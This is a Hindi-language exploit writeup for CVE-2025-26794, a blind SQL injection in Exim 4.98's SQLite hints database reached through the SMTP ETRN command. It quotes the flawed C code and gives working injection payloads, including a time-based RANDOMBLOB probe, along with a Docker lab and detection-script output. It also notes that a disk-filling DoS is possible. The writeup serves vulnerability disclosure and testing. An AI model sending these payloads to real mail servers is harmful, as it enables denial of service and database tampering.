
CVE-2025-26794: Blind SQL injection in Exim 4.98 (SQLite DBM)- exploit writeup
Exim रिपोर्ट: https://www.exim.org/static/doc/security/CVE-2025-26794.txt
मैंने मैन्युअल कोड समीक्षा के माध्यम से इस भेद्यता की खोज की।
SQL पैरामीटर्स, जब SQLite को DBM के रूप में उपयोग किया जाता है, ठीक से सैनिटाइज़ नहीं किए जाते हैं। इसके परिणामस्वरूप दूरस्थ उपयोगकर्ता द्वारा कस्टम SQLite क्वेरीज़ बनाने की संभावना उत्पन्न होती है।
Exim आंतरिक की:वैल्यू स्टोरेज (जिसे HintsDB कहा जाता है) के लिए एक आंतरिक डेटाबेस का उपयोग करता है, जो बिल्ड-टाइम पर सेट किए जाने वाले विभिन्न बैकएंड का समर्थन करता है। सबसे हालिया जोड़ SQLite था। इसका उपयोग निम्नलिखित को स्टोर करने के लिए किया जाता है:
enq_start() के साथ)प्रभावित फ़ाइल hintsdb.h है। इसे नवीनतम कमिट में एक अलग फ़ाइल (hints_sqlite.h) में स्थानांतरित कर दिया गया था। केवल SQLite फ़ंक्शन प्रभावित हैं (उदाहरण फ़ंक्शन: exim_s_dbp)।
static inline int
exim_s_dbp(EXIM_DB * dbp, EXIM_DATUM * key, EXIM_DATUM * data, const uschar * alt)
{
int hlen = data->len * 2, off = 0, res;
# define FMT "INSERT OR %s INTO tbl (ky,dat) VALUES ('%.*s', X'%.*s');"
[...]
qry = string_sprintf(FMT, alt, (int) key->len, key->data, hlen, hex);
[...]
res = sqlite3_exec(dbp, CS qry, NULL, NULL, NULL);
[...]
इनपुट कुंजी ठीक से एस्केप नहीं की गई है। इसलिए, यदि हम कुंजी को नियंत्रित करने में सफल होते हैं, तो हम किसी भी SQLite कोड को इंजेक्ट करने में सक्षम होंगे।
RFC1985 SMTP ETRN कमांड को परिभाषित करता है, "जिसके द्वारा एक क्लाइंट सर्वर से अनुरोध कर सकता है कि वह अपने मेल कतारों का प्रसंस्करण उन संदेशों के लिए प्रारंभ करे जो सर्वर पर क्लाइंट मशीन की प्रतीक्षा कर रहे हैं"।
इसका उपयोग SMTP कमांड के साथ किया जाता है: ETRN #domain.com।
Exim में, ETRN कमांड HintsDB में एक सेमाफोर सेट करता है ताकि एक साथ कई ETRN कमांड चलने से बचा जा सके।
यह सेमाफोर enq_start(keyname, value) फ़ंक्शन द्वारा कार्यान्वित किया जाता है जो "misc" डेटाबेस में एक नई प्रविष्टि बनाता है।
etrn_serialize_key = string_sprintf("etrn-%s\n", smtp_cmd_data);
[...]
if (smtp_etrn_serialize && !enq_start(etrn_serialize_key, 1))
{
smtp_printf("458 Already processing %s\r\n", SP_NO_MORE, smtp_cmd_data);
break;
}
उदाहरण के लिए, SMTP कमांड ETRN #test.com SQLite "misc" डेटाबेस में "etrn-#test.com" कुंजी और मान 1 के साथ एक अस्थायी DB प्रविष्टि बनाएगा।
ETRN कमांड प्रसंस्करण के अंत में, DB प्रविष्टि हटा दी जाएगी:
enq_end(etrn_serialize_key);
चूंकि हम कुंजी को नियंत्रित करते हैं, हम निम्नलिखित SMTP कमांड के साथ अपना स्वयं का SQL कोड इंजेक्ट कर सकते हैं:
ETRN #',1); ## INSERT SQL HERE ## /*
चूंकि कोई आउटपुट नहीं है, हम इस भेद्यता का दूरस्थ रूप से परीक्षण करने के लिए एक समय-आधारित SQLi पेलोड सबमिट कर सकते हैं:
ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ATTACH DATABASE के साथ अन्य स्थानीय SQLite डेटाबेस (जिन तक Exim उपयोगकर्ता की पहुंच है) से कनेक्ट करने में सक्षम था, मुझे लगता है कि हम शायद अन्य DB के साथ छेड़छाड़ करके Exim में किसी रेस कंडीशन का शोषण कर सकते हैं ताकि कुछ अपरिभाषित व्यवहार को ट्रिगर किया जा सके। यह अभी भी बहुत काल्पनिक है।इसका मतलब है कि हम आसानी से DoS (उदाहरण: डिस्क भरना) कर सकते हैं, लेकिन इसे रिमोट कोड एक्ज़ीक्यूशन तक बढ़ाने के लिए अधिक काम की आवश्यकता होगी, लेकिन यह संभव हो सकता है।
यहाँ इस भेद्यता को पुन: उत्पन्न करने में मदद करने के लिए एक स्थानीय Docker लैब है।
git clone [email protected]:OscarBataille/CVE-2025-26794.gitcd CVE-2025-26794/docker_labbash docker.sh कंटेनर का निर्माण करेगा और आपको इसमें लॉग इन करेगाbash start-exim.sh exim सर्वर प्रारंभ करने के लिएnc 127.0.0.1 25220 55c3a4b2466a ESMTP Exim 4.98-XX Sat, 22 Feb 2025 14:31:50 +0000ETRN #'sqlite3_exec: near "', X'": syntax errorमैंने इस भेद्यता का दूरस्थ परीक्षण करने के लिए एक स्क्रिप्ट test.py विकसित की है।
python3 docker_lab/test.py <host>
उदाहरण:
oscar@LAPTOP:~/CVE-2025-26794$ python3 docker_lab/test.py 127.0.0.1
Server banner: 220 e2d34a592d06 ESMTP Exim 4.98-XX Wed, 19 Mar 2025 07:02:13 +0000
Client: ETRN #
ETRN response: 458 Already processing
Time: 0.006737470626831055
Client: ETRN #',1); SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) /*
ETRN response: 250 OK
Time: 1.073132038116455
!! Vulnerable